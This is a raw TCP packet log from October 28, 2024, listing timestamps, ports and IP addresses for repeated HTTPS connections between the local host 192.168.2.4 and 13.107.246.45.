Oct 28, 2024 06:28:03.940747976 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.942275047 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.942318916 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.942409039 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.942512035 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.942523003 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.942533016 CET	49800	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.942537069 CET	443	49800	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.943465948 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.943667889 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.943711042 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.944183111 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.944216013 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.944420099 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.944427013 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.944447994 CET	49801	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.944456100 CET	443	49801	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.944607973 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.944608927 CET	49799	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.944633007 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.944655895 CET	443	49799	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.945914984 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.945983887 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.946034908 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.946546078 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.946551085 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.946568012 CET	49802	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.946572065 CET	443	49802	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.952769995 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.952822924 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.952889919 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.962003946 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.962023973 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.962980032 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.963007927 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.963078976 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.963330984 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.963356972 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.963980913 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.963996887 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.964056969 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.964210033 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.964241982 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.964243889 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.964256048 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:03.964312077 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.964390993 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:03.964406967 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.699625969 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.700177908 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.700189114 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.700680971 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.700686932 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.700884104 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.701236010 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.701306105 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.701636076 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.701651096 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.710814953 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.711131096 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.711149931 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.711774111 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.711780071 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.719101906 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.719412088 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.719419956 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.719779015 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.719784021 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.719890118 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.720199108 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.720216036 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.720552921 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.720563889 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.829061985 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.829623938 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.829714060 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.829742908 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.829761982 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.829773903 CET	49807	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.829782009 CET	443	49807	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.830728054 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.830956936 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.831026077 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.831088066 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.831088066 CET	49806	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.831121922 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.831144094 CET	443	49806	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.832966089 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.832987070 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.832998991 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.833017111 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.833071947 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.833096027 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.833230019 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.833244085 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.833245993 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.833255053 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.842531919 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.842732906 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.842787027 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.842946053 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.842946053 CET	49808	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.842959881 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.842971087 CET	443	49808	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.845113993 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.845123053 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.845195055 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.845319986 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.845331907 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.851238012 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.851841927 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.851998091 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.852123976 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.852140903 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.852155924 CET	49805	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.852168083 CET	443	49805	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.853940964 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.853966951 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.854022026 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.854188919 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.854204893 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.854763031 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.854891062 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.854952097 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.854981899 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.855000019 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.855024099 CET	49804	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.855036974 CET	443	49804	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.856733084 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.856772900 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:04.856858969 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.856971979 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:04.857000113 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.566975117 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.567543983 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.567563057 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.568017960 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.568023920 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.580297947 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.580859900 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.580872059 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.581347942 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.581353903 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.592197895 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.592468977 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.592582941 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.592592001 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.593023062 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.593028069 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.593072891 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.593133926 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.593559027 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.593575001 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.594770908 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.595155001 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.595168114 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.595557928 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.595562935 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.702691078 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.703165054 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.703265905 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.703310013 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.703325033 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.703361034 CET	49809	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.703365088 CET	443	49809	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.709105968 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.709130049 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.709207058 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.709366083 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.709378004 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.713639021 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.713716030 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.713758945 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.713829041 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.713840961 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.713855982 CET	49810	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.713861942 CET	443	49810	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.716017008 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.716074944 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.716157913 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.716270924 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.716316938 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.722242117 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.722382069 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.722450018 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.722491980 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.722491980 CET	49813	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.722516060 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.722539902 CET	443	49813	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.724360943 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.724385977 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.724453926 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.724560976 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.724574089 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.726284027 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.726380110 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.726423025 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.726458073 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.726461887 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.726473093 CET	49811	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.726478100 CET	443	49811	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.728169918 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.728225946 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.728249073 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.728359938 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.728379011 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.728427887 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.728470087 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.728478909 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.728482008 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.728490114 CET	49812	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.728494883 CET	443	49812	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.728513002 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.730118036 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.730132103 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:05.730201006 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.730293036 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:05.730304003 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.439846992 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.440547943 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.440562963 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.441082001 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.441086054 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.450541019 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.450814009 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.450838089 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.451157093 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.451164007 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.456795931 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.457037926 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.457067966 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.457355022 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.457365990 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.482065916 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.482417107 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.482435942 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.482805014 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.482811928 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.491523027 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.491777897 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.491816998 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.492103100 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.492120981 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.568557024 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.569041967 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.569142103 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.569161892 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.569174051 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.569184065 CET	49814	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.569190025 CET	443	49814	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.572773933 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.572825909 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.572930098 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.573059082 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.573106050 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.578845978 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.578980923 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.579049110 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.579082012 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.579096079 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.579108953 CET	49816	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.579116106 CET	443	49816	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.581202984 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.581269026 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.581356049 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.581454992 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.581490993 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.591340065 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.591437101 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.591497898 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.591566086 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.591588974 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.591633081 CET	49817	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.591645956 CET	443	49817	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.593837976 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.593898058 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.593995094 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.594151020 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.594182968 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.610028982 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.610169888 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.610238075 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.610358000 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.610378027 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.610397100 CET	49818	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.610405922 CET	443	49818	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.612982988 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.613015890 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.613111019 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.613260984 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.613286018 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.631242990 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.631299973 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.631460905 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.631752968 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.631752968 CET	49815	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.631793976 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.631834030 CET	443	49815	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.633997917 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.634032011 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:06.634115934 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.634258986 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:06.634289026 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.309058905 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.309653044 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.309700012 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.310136080 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.310153008 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.319307089 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.319816113 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.319875002 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.320506096 CET	49819	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.320521116 CET	443	49819	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.354734898 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.355329037 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.355389118 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.355967999 CET	49823	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.355982065 CET	443	49823	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.357100964 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.357475996 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.357492924 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.358046055 CET	49821	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.358057976 CET	443	49821	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.361735106 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.362175941 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.362210035 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.362710953 CET	49822	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.362725019 CET	443	49822	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.443640947 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.443681955 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.443789959 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.444119930 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.444158077 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.444184065 CET	49820	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.444199085 CET	443	49820	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.447957993 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.448002100 CET	443	49824	13.107.246.45	192.168.2.4
Oct 28, 2024 06:28:07.448079109 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.448291063 CET	49824	443	192.168.2.4	13.107.246.45
Oct 28, 2024 06:28:07.448308945 CET	443	49824	13.107.246.45	192.168.2.4
